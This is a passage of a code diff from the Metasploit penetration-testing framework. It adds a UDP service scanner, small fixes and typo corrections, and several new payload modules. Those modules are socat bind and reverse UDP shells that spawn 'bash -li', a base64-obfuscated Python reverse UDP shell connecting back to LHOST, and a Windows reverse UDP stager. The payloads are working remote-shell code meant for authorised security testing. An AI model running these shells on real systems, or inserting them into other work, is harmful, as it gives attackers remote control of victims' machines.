call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
mov eax, ebp
|
||||
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
|
@ -275,17 +275,24 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||
# Open the file on the remote side for writing and read
|
||||
# all of the contents of the local file
|
||||
stat.call('uploading', src_file, dest_file) if (stat)
|
||||
dest_fd = client.fs.file.new(dest_file, "wb")
|
||||
src_buf = ''
|
||||
|
||||
::File.open(src_file, 'rb') { |f|
|
||||
src_buf = f.read(f.stat.size)
|
||||
}
|
||||
dest_fd = nil
|
||||
src_fd = nil
|
||||
buf_size = 8 * 1024 * 1024
|
||||
|
||||
begin
|
||||
dest_fd.write(src_buf)
|
||||
dest_fd = client.fs.file.new(dest_file, "wb")
|
||||
src_fd = ::File.open(src_file, "rb")
|
||||
src_size = src_fd.stat.size
|
||||
while (buf = src_fd.read(buf_size))
|
||||
dest_fd.write(buf)
|
||||
percent = dest_fd.pos.to_f / src_size.to_f * 100.0
|
||||
msg = "Uploaded #{Filesize.new(dest_fd.pos).pretty} of " \
|
||||
"#{Filesize.new(src_size).pretty} (#{percent.round(2)}%)"
|
||||
stat.call(msg, src_file, dest_file)
|
||||
end
|
||||
ensure
|
||||
dest_fd.close
|
||||
src_fd.close unless src_fd.nil?
|
||||
dest_fd.close unless dest_fd.nil?
|
||||
end
|
||||
stat.call('uploaded', src_file, dest_file) if (stat)
|
||||
end
|
||||
|
@ -874,9 +874,12 @@ class Packet < GroupTlv
|
||||
# Xor a set of bytes with a given XOR key.
|
||||
#
|
||||
def xor_bytes(xor_key, bytes)
|
||||
xor_key = xor_key.bytes
|
||||
result = ''
|
||||
bytes.bytes.zip(xor_key.bytes.cycle).each do |b|
|
||||
result << (b[0].ord ^ b[1].ord).chr
|
||||
i = 0
|
||||
bytes.each_byte do |b|
|
||||
result << (b ^ xor_key[i % xor_key.length]).chr
|
||||
i += 1
|
||||
end
|
||||
result
|
||||
end
|
||||
|
@ -125,7 +125,6 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'dnsruby'
|
||||
spec.add_runtime_dependency 'mqtt'
|
||||
spec.add_runtime_dependency 'net-ssh'
|
||||
spec.add_runtime_dependency 'rbnacl', ['< 5.0.0']
|
||||
spec.add_runtime_dependency 'bcrypt_pbkdf'
|
||||
spec.add_runtime_dependency 'ruby_smb'
|
||||
|
||||
|
533
modules/auxiliary/scanner/discovery/udp_probe.rb
Normal file
533
modules/auxiliary/scanner/discovery/udp_probe.rb
Normal file
@ -0,0 +1,533 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'openssl'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'UDP Service Prober',
|
||||
'Description' => 'Detect common UDP services using sequential probes',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
|
||||
])
|
||||
|
||||
# Intialize the probes array
|
||||
@probes = []
|
||||
|
||||
# Add the UDP probe method names
|
||||
@probes << 'probe_pkt_dns'
|
||||
@probes << 'probe_pkt_netbios'
|
||||
@probes << 'probe_pkt_portmap'
|
||||
@probes << 'probe_pkt_mssql'
|
||||
@probes << 'probe_pkt_ntp'
|
||||
@probes << 'probe_pkt_snmp1'
|
||||
@probes << 'probe_pkt_snmp2'
|
||||
@probes << 'probe_pkt_sentinel'
|
||||
@probes << 'probe_pkt_db2disco'
|
||||
@probes << 'probe_pkt_citrix'
|
||||
@probes << 'probe_pkt_pca_st'
|
||||
@probes << 'probe_pkt_pca_nq'
|
||||
@probes << 'probe_chargen'
|
||||
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
|
||||
if datastore['RANDOMIZE_PORTS']
|
||||
@probes = @probes.sort_by { rand }
|
||||
end
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
@results = {}
|
||||
@thost = ip
|
||||
|
||||
begin
|
||||
udp_sock = nil
|
||||
|
||||
@probes.each do |probe|
|
||||
|
||||
# Send each probe to each host
|
||||
|
||||
begin
|
||||
data, port = self.send(probe, ip)
|
||||
@tport = port
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( {
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'PeerHost' => ip, 'PeerPort' => port,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
})
|
||||
|
||||
udp_sock.put(data)
|
||||
|
||||
r = udp_sock.recvfrom(65535, 0.1) and r[1]
|
||||
parse_reply(r) if r
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
||||
nil
|
||||
ensure
|
||||
udp_sock.close if udp_sock
|
||||
end
|
||||
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
@results.each_key do |k|
|
||||
next if not @results[k].respond_to?('keys')
|
||||
data = @results[k]
|
||||
|
||||
next unless inside_workspace_boundary?(data[:host])
|
||||
|
||||
conf = {
|
||||
:host => data[:host],
|
||||
:port => data[:port],
|
||||
:proto => 'udp',
|
||||
:name => data[:app],
|
||||
:info => data[:info]
|
||||
}
|
||||
|
||||
if data[:hname]
|
||||
conf[:host_name] = data[:hname].downcase
|
||||
end
|
||||
|
||||
if data[:mac]
|
||||
conf[:mac] = data[:mac].downcase
|
||||
end
|
||||
|
||||
report_service(conf)
|
||||
print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# The response parsers
|
||||
#
|
||||
def parse_reply(pkt)
|
||||
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
app = 'unknown'
|
||||
inf = ''
|
||||
maddr = nil
|
||||
hname = nil
|
||||
|
||||
hkey = "#{pkt[1]}:#{pkt[2]}"
|
||||
|
||||
# Work with protocols that return different data in different packets
|
||||
# These are reported at the end of the scanning loop to build state
|
||||
case pkt[2]
|
||||
when 5632
|
||||
|
||||
@results[hkey] ||= {}
|
||||
data = @results[hkey]
|
||||
data[:app] = "pcAnywhere_stat"
|
||||
data[:port] = pkt[2]
|
||||
data[:host] = pkt[1]
|
||||
|
||||
case pkt[0]
|
||||
|
||||
when /^NR(........................)(........)/
|
||||
name = $1.dup
|
||||
caps = $2.dup
|
||||
name = name.gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
caps = caps.gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
data[:name] = name
|
||||
data[:caps] = caps
|
||||
|
||||
when /^ST(.+)/
|
||||
buff = $1.dup
|
||||
stat = 'Unknown'
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 67
|
||||
stat = "Available"
|
||||
end
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 11
|
||||
stat = "Busy"
|
||||
end
|
||||
|
||||
data[:stat] = stat
|
||||
end
|
||||
|
||||
if data[:name]
|
||||
inf << "Name: #{data[:name]} "
|
||||
end
|
||||
|
||||
if data[:stat]
|
||||
inf << "- #{data[:stat]} "
|
||||
end
|
||||
|
||||
if data[:caps]
|
||||
inf << "( #{data[:caps]} ) "
|
||||
end
|
||||
data[:info] = inf
|
||||
end
|
||||
|
||||
|
||||
# Ignore duplicates for the protocols below
|
||||
return if @results[hkey]
|
||||
|
||||
case pkt[2]
|
||||
|
||||
when 19
|
||||
app = 'chargen'
|
||||
return unless chargen_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
when 53
|
||||
app = 'DNS'
|
||||
ver = nil
|
||||
|
||||
if (not ver and pkt[0] =~ /([6789]\.[\w\.\-_\:\(\)\[\]\/\=\+\|\{\}]+)/i)
|
||||
ver = 'BIND ' + $1
|
||||
end
|
||||
|
||||
ver = 'Microsoft DNS' if (not ver and pkt[0][2,4] == "\x81\x04\x00\x01")
|
||||
ver = 'TinyDNS' if (not ver and pkt[0][2,4] == "\x81\x81\x00\x01")
|
||||
|
||||
ver = pkt[0].unpack('H*')[0] if not ver
|
||||
inf = ver if ver
|
||||
@results[hkey] = true
|
||||
|
||||
when 137
|
||||
app = 'NetBIOS'
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
head = data.slice!(0,12)
|
||||
|
||||
xid, flags, quests, answers, auths, adds = head.unpack('n6')
|
||||
return if quests != 0
|
||||
return if answers == 0
|
||||
|
||||
qname = data.slice!(0,34)
|
||||
rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn')
|
||||
buff = data.slice!(0,rlen)
|
||||
|
||||
names = []
|
||||
|
||||
case rtype
|
||||
when 0x21
|
||||
rcnt = buff.slice!(0,1).unpack("C")[0]
|
||||
1.upto(rcnt) do
|
||||
tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip
|
||||
ttype = buff.slice!(0,1).unpack("C")[0]
|
||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
||||
names << [ tname, ttype, tflag ]
|
||||
end
|
||||
maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
|
||||
|
||||
names.each do |name|
|
||||
inf << name[0]
|
||||
inf << ":<%.2x>" % name[1]
|
||||
if (name[2] & 0x8000 == 0)
|
||||
inf << ":U :"
|
||||
else
|
||||
inf << ":G :"
|
||||
end
|
||||
end
|
||||
inf << maddr
|
||||
|
||||
if(names.length > 0)
|
||||
hname = names[0][0]
|
||||
end
|
||||
end
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 111
|
||||
app = 'Portmap'
|
||||
buf = pkt[0]
|
||||
inf = ""
|
||||
hed = buf.slice!(0,24)
|
||||
svc = []
|
||||
while(buf.length >= 20)
|
||||
rec = buf.slice!(0,20).unpack("N5")
|
||||
svc << "#{rec[1]} v#{rec[2]} #{rec[3] == 0x06 ? "TCP" : "UDP"}(#{rec[4]})"
|
||||
report_service(
|
||||
:host => pkt[1],
|
||||
:port => rec[4],
|
||||
:proto => (rec[3] == 0x06 ? "tcp" : "udp"),
|
||||
:name => "sunrpc",
|
||||
:info => "#{rec[1]} v#{rec[2]}"
|
||||
)
|
||||
end
|
||||
inf = svc.join(", ")
|
||||
@results[hkey] = true
|
||||
|
||||
when 123
|
||||
app = 'NTP'
|
||||
ver = nil
|
||||
ver = pkt[0].unpack('H*')[0]
|
||||
ver = 'NTP v3' if (ver =~ /^1c06|^1c05/)
|
||||
ver = 'NTP v4' if (ver =~ /^240304/)
|
||||
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
|
||||
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
|
||||
inf = ver if ver
|
||||
@results[hkey] = true
|
||||
|
||||
when 1434
|
||||
app = 'MSSQL'
|
||||
mssql_ping_parse(pkt[0]).each_pair { |k,v|
|
||||
inf += k+'='+v+' '
|
||||
}
|
||||
@results[hkey] = true
|
||||
|
||||
when 161
|
||||
app = 'SNMP'
|
||||
|
||||
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
|
||||
return if not asn
|
||||
|
||||
snmp_error = asn.value[0].value rescue nil
|
||||
snmp_comm = asn.value[1].value rescue nil
|
||||
snmp_data = asn.value[2].value[3].value[0] rescue nil
|
||||
snmp_oid = snmp_data.value[0].value rescue nil
|
||||
snmp_info = snmp_data.value[1].value rescue nil
|
||||
|
||||
return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info)
|
||||
snmp_info = snmp_info.to_s.gsub(/\s+/, ' ')
|
||||
|
||||
inf = snmp_info
|
||||
com = snmp_comm
|
||||
@results[hkey] = true
|
||||
|
||||
when 5093
|
||||
app = 'Sentinel'
|
||||
@results[hkey] = true
|
||||
|
||||
when 523
|
||||
app = 'ibm-db2'
|
||||
inf = db2disco_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
when 1604
|
||||
app = 'citrix-ica'
|
||||
return unless citrix_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
end
|
||||
|
||||
return unless inside_workspace_boundary?(pkt[1])
|
||||
report_service(
|
||||
:host => pkt[1],
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
:host_name => (hname) ? hname.downcase : nil,
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => app,
|
||||
:info => inf
|
||||
)
|
||||
|
||||
print_good("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Parse a db2disco packet.
|
||||
#
|
||||
def db2disco_parse(data)
|
||||
res = data.split("\x00")
|
||||
"#{res[2]}_#{res[1]}"
|
||||
end
|
||||
|
||||
#
|
||||
# Validate a chargen packet.
|
||||
#
|
||||
def chargen_parse(data)
|
||||
data =~ /ABCDEFGHIJKLMNOPQRSTUVWXYZ|0123456789/i
|
||||
end
|
||||
|
||||
#
|
||||
# Validate this is truly Citrix ICA; returns true or false.
|
||||
#
|
||||
def citrix_parse(data)
|
||||
server_response = "\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44" # Server hello response
|
||||
data =~ /^#{server_response}/
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a 'ping' response and format as a hash
|
||||
#
|
||||
def mssql_ping_parse(data)
|
||||
res = {}
|
||||
var = nil
|
||||
idx = data.index('ServerName')
|
||||
return res if not idx
|
||||
|
||||
data[idx, data.length-idx].split(';').each do |d|
|
||||
if (not var)
|
||||
var = d
|
||||
else
|
||||
if (var.length > 0)
|
||||
res[var] = d
|
||||
var = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
#
|
||||
# The probe definitions
|
||||
#
|
||||
|
||||
def probe_chargen(ip)
|
||||
pkt = Rex::Text.rand_text_alpha_lower(1)
|
||||
return [pkt, 19]
|
||||
end
|
||||
|
||||
def probe_pkt_dns(ip)
|
||||
data = [rand(0xffff)].pack('n') +
|
||||
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+
|
||||
"\x07"+ "VERSION"+
|
||||
"\x04"+ "BIND"+
|
||||
"\x00\x00\x10\x00\x03"
|
||||
|
||||
return [data, 53]
|
||||
end
|
||||
|
||||
def probe_pkt_netbios(ip)
|
||||
data =
|
||||
[rand(0xffff)].pack('n')+
|
||||
"\x00\x00\x00\x01\x00\x00\x00\x00"+
|
||||
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x00\x00\x21\x00\x01"
|
||||
|
||||
return [data, 137]
|
||||
end
|
||||
|
||||
def probe_pkt_portmap(ip)
|
||||
data =
|
||||
[
|
||||
rand(0xffffffff), # XID
|
||||
0, # Type
|
||||
2, # RPC Version
|
||||
100000, # Program ID
|
||||
2, # Program Version
|
||||
4, # Procedure
|
||||
0, 0, # Credentials
|
||||
0, 0, # Verifier
|
||||
].pack('N*')
|
||||
|
||||
return [data, 111]
|
||||
end
|
||||
|
||||
def probe_pkt_mssql(ip)
|
||||
return ["\x02", 1434]
|
||||
end
|
||||
|
||||
def probe_pkt_ntp(ip)
|
||||
data =
|
||||
"\xe3\x00\x04\xfa\x00\x01\x00\x00\x00\x01\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xc5\x4f\x23\x4b\x71\xb1\x52\xf3"
|
||||
return [data, 123]
|
||||
end
|
||||
|
||||
|
||||
def probe_pkt_sentinel(ip)
|
||||
return ["\x7a\x00\x00\x00\x00\x00", 5093]
|
||||
end
|
||||
|
||||
def probe_pkt_snmp1(ip)
|
||||
version = 1
|
||||
data = OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Integer(version - 1),
|
||||
OpenSSL::ASN1::OctetString("public"),
|
||||
OpenSSL::ASN1::Set.new([
|
||||
OpenSSL::ASN1::Integer(rand(0x80000000)),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
|
||||
OpenSSL::ASN1.Null(nil)
|
||||
])
|
||||
]),
|
||||
], 0, :IMPLICIT)
|
||||
]).to_der
|
||||
[data, 161]
|
||||
end
|
||||
|
||||
def probe_pkt_snmp2(ip)
|
||||
version = 2
|
||||
data = OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Integer(version - 1),
|
||||
OpenSSL::ASN1::OctetString("public"),
|
||||
OpenSSL::ASN1::Set.new([
|
||||
OpenSSL::ASN1::Integer(rand(0x80000000)),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
|
||||
OpenSSL::ASN1.Null(nil)
|
||||
])
|
||||
]),
|
||||
], 0, :IMPLICIT)
|
||||
]).to_der
|
||||
[data, 161]
|
||||
end
|
||||
|
||||
def probe_pkt_db2disco(ip)
|
||||
data = "DB2GETADDR\x00SQL05000\x00"
|
||||
[data, 523]
|
||||
end
|
||||
|
||||
def probe_pkt_citrix(ip) # Server hello packet from citrix_published_bruteforce
|
||||
data =
|
||||
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
return [data, 1604]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_st(ip)
|
||||
return ["ST", 5632]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_nq(ip)
|
||||
return ["NQ", 5632]
|
||||
end
|
||||
end
|
@ -244,7 +244,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res
|
||||
|
||||
# Only download files that are withint our interest
|
||||
# Only download files that are within our interest
|
||||
if res and res.to_s =~ datastore['PATTERN']
|
||||
# We assume the string followed by the last '/' is our file name
|
||||
fname = f.split("/")[-1].chop
|
||||
|
@ -120,7 +120,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
workspace_id: myworkspace_id,
|
||||
private_type: :password
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
|
@ -127,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
|
||||
print_error("A network issue has occurred: #{e.message}")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue Timeout::Error
|
||||
rescue Timeout::Error => e
|
||||
print_error("#{target_host}:#{rport} Timed out after #{to} seconds")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue ::Exception => e
|
||||
|
51
modules/payloads/singles/cmd/unix/bind_socat_udp.rb
Normal file
51
modules/payloads/singles/cmd/unix/bind_socat_udp.rb
Normal file
@ -0,0 +1,51 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/bind_udp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 70
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind UDP (via socat)',
|
||||
'Description' => 'Creates an interactive shell via socat',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindUdp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'socat',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"socat udp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
|
||||
end
|
||||
|
||||
end
|
51
modules/payloads/singles/cmd/unix/reverse_socat_udp.rb
Normal file
51
modules/payloads/singles/cmd/unix/reverse_socat_udp.rb
Normal file
@ -0,0 +1,51 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_udp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 87
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse UDP (via socat)',
|
||||
'Description' => 'Creates an interactive shell via socat',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseUdp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'socat',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"socat udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
|
||||
end
|
||||
|
||||
end
|
69
modules/payloads/singles/python/shell_reverse_udp.rb
Normal file
69
modules/payloads/singles/python/shell_reverse_udp.rb
Normal file
@ -0,0 +1,69 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_udp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 397
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Command Shell, Reverse UDP (via python)',
|
||||
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseUdp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd = ''
|
||||
dead = Rex::Text.rand_text_alpha(2)
|
||||
# Set up the socket
|
||||
cmd << "import socket,os\n"
|
||||
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
|
||||
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
|
||||
# The actual IO
|
||||
cmd << "#{dead}=False\n"
|
||||
cmd << "while not #{dead}:\n"
|
||||
cmd << "\tdata=so.recv(1024)\n"
|
||||
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
|
||||
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
|
||||
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
|
||||
cmd << "\tso.send(stdout_value)\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 281
|
||||
CachedSize = 283
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_tcp_rc4'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 398
|
||||
CachedSize = 400
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseTcpRc4
|
||||
|
@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 314
|
||||
CachedSize = 316
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
43
modules/payloads/stagers/windows/reverse_udp.rb
Normal file
43
modules/payloads/stagers/windows/reverse_udp.rb
Normal file
@ -0,0 +1,43 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core/handler/reverse_udp'
|
||||
require 'msf/core/payload/windows/reverse_udp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 299
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseUdp
|
||||
|
||||
def self.handler_type_alias
|
||||
'reverse_udp'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse UDP Stager with UUID Support',
|
||||
'Description' => 'Connect back to the attacker with UUID Support',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseUdp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the uuid function and opt-in for sending the
|
||||
# UUID in the stage.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
end
|
@ -64,7 +64,7 @@ class MetasploitModule < Msf::Post
|
||||
return xmlfiles
|
||||
end
|
||||
|
||||
#We attempt to open the dsicovered XML files and alert the user if
|
||||
#We attempt to open the discovered XML files and alert the user if
|
||||
# we cannot access the file for any reason
|
||||
def get_xml(path)
|
||||
begin
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
